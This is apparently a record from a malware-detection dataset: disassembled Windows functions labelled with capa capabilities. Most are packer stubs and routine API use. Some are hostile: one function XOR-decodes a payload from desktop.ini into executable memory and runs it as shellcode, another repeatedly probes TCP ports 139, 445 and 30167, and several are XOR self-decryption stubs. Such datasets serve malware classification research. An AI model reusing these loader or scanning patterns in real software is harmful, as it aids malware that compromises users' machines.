joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d3710
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1cf000]
push edi
or ebp, 0xffffffff
jmp 0x6d3732
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6d3739
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d3728
mov eax, 1
add ebx, ebx
jne 0x6d374b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6d375c
jne 0x6d377b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d377b
dec eax
add ebx, ebx
jne 0x6d3768
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6d3740
add ebx, ebx
jne 0x6d3777
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6d37cd
xor ecx, ecx
sub eax, 3
jb 0x6d3793
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6d3802
sar eax, 1
mov ebp, eax
jmp 0x6d379e
add ebx, ebx
jne 0x6d379e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d376c
inc ecx
add ebx, ebx
jne 0x6d37ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d376c
add ebx, ebx
jne 0x6d37b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6d37ae
jne 0x6d37ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6d37ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6d37ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6d37de
jmp 0x6d372e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6d37ec
add edi, ecx
jmp 0x6d372e
pop esi
mov edi, esi
mov ecx, 0x6595
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6d380a
cmp byte [edi], 0xa
jne 0x6d380a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6d380f
lea edi, [esi + 0x2ca000]
mov eax, dword [edi]
or eax, eax
je 0x6d3887
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2d7b64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d7ca4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6d383c
mov ecx, edi
jns 0x6d386b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d7ca8]
or eax, eax
je 0x6d3881
mov dword [ebx], eax
add ebx, 4
jmp 0x6d3859
call dword [esi + 0x2d7cb8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6d38b8
cmp al, 0xef
ja 0x6d38ab
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x6d388d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x6d389a
mov ebp, dword [esi + 0x2d7cac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6d38ec
sub esp, 0xffffff80
jmp 0x4abac3
Function at 0x82b190
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x26a000]
mov dword [edi + 0x2cd47c], 0xc63b26b8
push edi
jmp 0x82b1ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x82b1c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82b1b0
mov eax, 1
add ebx, ebx
jne 0x82b1d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x82b1e4
jne 0x82b203
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82b203
dec eax
add ebx, ebx
jne 0x82b1f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x82b1c8
add ebx, ebx
jne 0x82b1ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x82b255
xor ecx, ecx
sub eax, 3
jb 0x82b21b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x82b28a
sar eax, 1
mov ebp, eax
jmp 0x82b226
add ebx, ebx
jne 0x82b226
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82b1f4
inc ecx
add ebx, ebx
jne 0x82b234
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82b1f4
add ebx, ebx
jne 0x82b241
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x82b236
jne 0x82b252
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x82b236
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x82b274
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x82b266
jmp 0x82b1b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x82b274
add edi, ecx
jmp 0x82b1b6
pop esi
mov edi, esi
mov ecx, 0xef8c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x82b292
cmp byte [edi], 0x26
jne 0x82b292
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x82b297
lea edi, [esi + 0x41a000]
mov eax, dword [edi]
or eax, eax
je 0x82b30f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4ba5a8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4ba77c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x82b2c4
mov ecx, edi
jns 0x82b2f3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4ba784]
or eax, eax
je 0x82b309
mov dword [ebx], eax
add ebx, 4
jmp 0x82b2e1
call dword [esi + 0x4ba780]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x82b340
cmp al, 0xef
ja 0x82b333
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x82b315
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x82b322
mov ebp, dword [esi + 0x4ba788]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x26f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x82b374
sub esp, 0xffffff80
jmp 0x5c9f5a
Function at 0x41f573
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f5b2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f5b2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f5b2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f5b2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f5b2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x431790
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4317bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4317bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40a1dc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a245
mov eax, dword [ebx + 0x10]
mov edx, 0x40a378
call fcn.00404190
jne 0x40a214
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a24d
mov eax, dword [ebx + 0x10]
mov edx, 0x40a384
call fcn.00404190
jne 0x40a230
lea eax, [ebx + 0x10]
mov edx, 0x40a378
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a24d
lea eax, [ebx + 0x10]
mov edx, 0x40a384
call fcn.00403e20
jmp 0x40a24d
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a02c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a2a7
or edi, 0xffffffff
jmp 0x40a334
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a2ea
or edi, 0xffffffff
jmp 0x40a334
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a32d
or edi, 0xffffffff
jmp 0x40a334
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a357
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a390
call fcn.00404090
mov eax, ebx
call fcn.00409f04
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x40a1f1
Function at 0x10007bd8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10007c17
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10007c17
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10007c17
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10007c17
cmp dword [ecx + 0x74], 0xe
jbe 0x10007c17
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000c9a6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000ca43
push ebx
push esi
call fcn.1000c96f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000c905
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000c9f0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000ca42
push edi
push eax
call fcn.100095e0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000ca10
call fcn.10008c90
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000ca41
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000c905
add esp, 0x20
test eax, eax
jne 0x1000ca2f
push edi
call fcn.10008c90
jmp 0x1000ca37
push ebx
call fcn.10008c90
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x100102eb
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x10010305
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x1001031c
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x10010374
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.1000e0cb
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x10010374
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x10010374
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x10010374
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x1001036e
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x10010370
xor bl, bl
mov al, bl
jmp 0x10010376
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x710c6a
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x7109ec
push edx
pop edx
call fcn.00710c9c
add edx, edx
add edx, 0xc08e71a8
xor dword [esi], ebx
add ecx, edx
inc esi
or ecx, edx
or edx, edx
cmp esi, edi
jne fcn.00710c6a
inc ecx
mov ecx, 0xb4385026
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
mov ecx, 0x4fcc5faf
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x2b711ba7
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x461fc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x45000]
push edi
or ebp, 0xffffffff
jmp 0x461fe2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461fe9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461fd8
mov eax, 1
add ebx, ebx
jne 0x461ffb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x46200c
jne 0x46202b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46202b
dec eax
add ebx, ebx
jne 0x462018
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x461ff0
add ebx, ebx
jne 0x462027
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x46207d
xor ecx, ecx
sub eax, 3
jb 0x462043
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4620b2
sar eax, 1
mov ebp, eax
jmp 0x46204e
add ebx, ebx
jne 0x46204e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46201c
inc ecx
add ebx, ebx
jne 0x46205c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46201c
add ebx, ebx
jne 0x462069
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x46205e
jne 0x46207a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46205e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x46209c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x46208e
jmp 0x461fde
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x46209c
add edi, ecx
jmp 0x461fde
pop esi
mov edi, esi
mov ecx, 0x31c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4620ba
cmp byte [edi], 6
jne 0x4620ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4620bf
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46212e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x62000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4620ec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6202c]
or eax, eax
je 0x462128
mov dword [ebx], eax
add ebx, 4
jmp 0x462109
call dword [esi + 0x6203c]
mov ebp, dword [esi + 0x62030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x462162
sub esp, 0xffffff80
jmp 0x403260
Function at 0x10004808
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10004827
xor eax, eax
jmp 0x100048a2
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000483d
xor eax, eax
jmp 0x100048a2
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x10004885
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jae 0x10004885
mov eax, dword [ebp - 4]
movzx eax, word [eax]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2 + 2]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
jmp 0x1000485e
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x10004891
xor eax, eax
jmp 0x100048a2
mov eax, dword [ebp - 4]
movzx eax, word [eax]
test eax, eax
jne 0x1000489f
xor eax, eax
jmp 0x100048a2
mov eax, dword [ebp - 4]
leave
ret

Function at 0x1000a0e5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
xor eax, eax
jne 0x1000a0ee
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
shl eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
and dword [eax], 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
mov eax, dword [ebp - 0x10]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000a12b
mov eax, dword [ebp - 0xc]
jmp 0x1000a181
cmp dword [ebp - 4], 1
je 0x1000a13c
cmp dword [ebp - 4], 2
je 0x1000a13c
push 0xd
pop eax
jmp 0x1000a181
cmp dword [ebp + 0xc], 0
je 0x1000a175
cmp dword [ebp - 8], 0
je 0x1000a16e
mov eax, dword [ebp - 8]
xor edx, edx
push 2
pop ecx
div ecx
test edx, edx
jne 0x1000a167
mov eax, dword [ebp - 8]
shr eax, 1
mov ecx, dword [ebp + 0xc]
movzx eax, word [ecx + eax*2 - 2]
test eax, eax
je 0x1000a16c
push 0xd
pop eax
jmp 0x1000a181
jmp 0x1000a175
mov eax, dword [ebp + 0xc]
and word [eax], 0
mov eax, dword [ebp - 8]
shr eax, 1
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
leave
ret 0xc
Function at 0x1000a1ac
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x100e93e0]
xor eax, ebp
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x228], ecx
lea ecx, [ebp - 0x10]
call fcn.1002182e
push 0x2001f
push dword [ebp + 8]
mov eax, dword [ebp - 0x228]
push dword [eax]
lea ecx, [ebp - 0x10]
call fcn.10009f22
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000a20a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x21c], eax
lea ecx, [ebp - 0x10]
call fcn.10009f94
mov eax, dword [ebp - 0x21c]
jmp 0x1000a299
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1000a26f
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000a1ac
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000a266
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x10]
call fcn.10009f94
mov eax, dword [ebp - 0x220]
jmp 0x1000a299
mov dword [ebp - 4], 0x100
jmp 0x1000a211
lea ecx, [ebp - 0x10]
call fcn.10009f67
push dword [ebp + 8]
mov ecx, dword [ebp - 0x228]
call fcn.1000a04b
mov dword [ebp - 0x224], eax
lea ecx, [ebp - 0x10]
call fcn.10009f94
mov eax, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.10070c21
leave
ret 4
Function at 0x1000fa45
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x100e93e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x218]
and dword [eax], 0
mov eax, dword [ebp - 0x218]
and dword [eax + 4], 0
mov eax, dword [ebp - 0x218]
and dword [eax + 8], 0
mov eax, dword [ebp - 0x218]
and dword [eax + 0xc], 0
mov eax, dword [ebp - 0x218]
and dword [eax + 0x10], 0
and word [ebp - 0x210], 0
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.100738a0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push 0x100d3350
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x1000fafc
jmp 0x1000fb70
mov eax, dword [ebp - 0x218]
mov dword [eax], 1
push str.OpenThemeData
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x218]
mov dword [ecx + 4], eax
push str.CloseThemeData
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x218]
mov dword [ecx + 8], eax
push str.DrawThemeBackground
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x218]
mov dword [ecx + 0xc], eax
push str.SetWindowTheme
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x218]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x218]
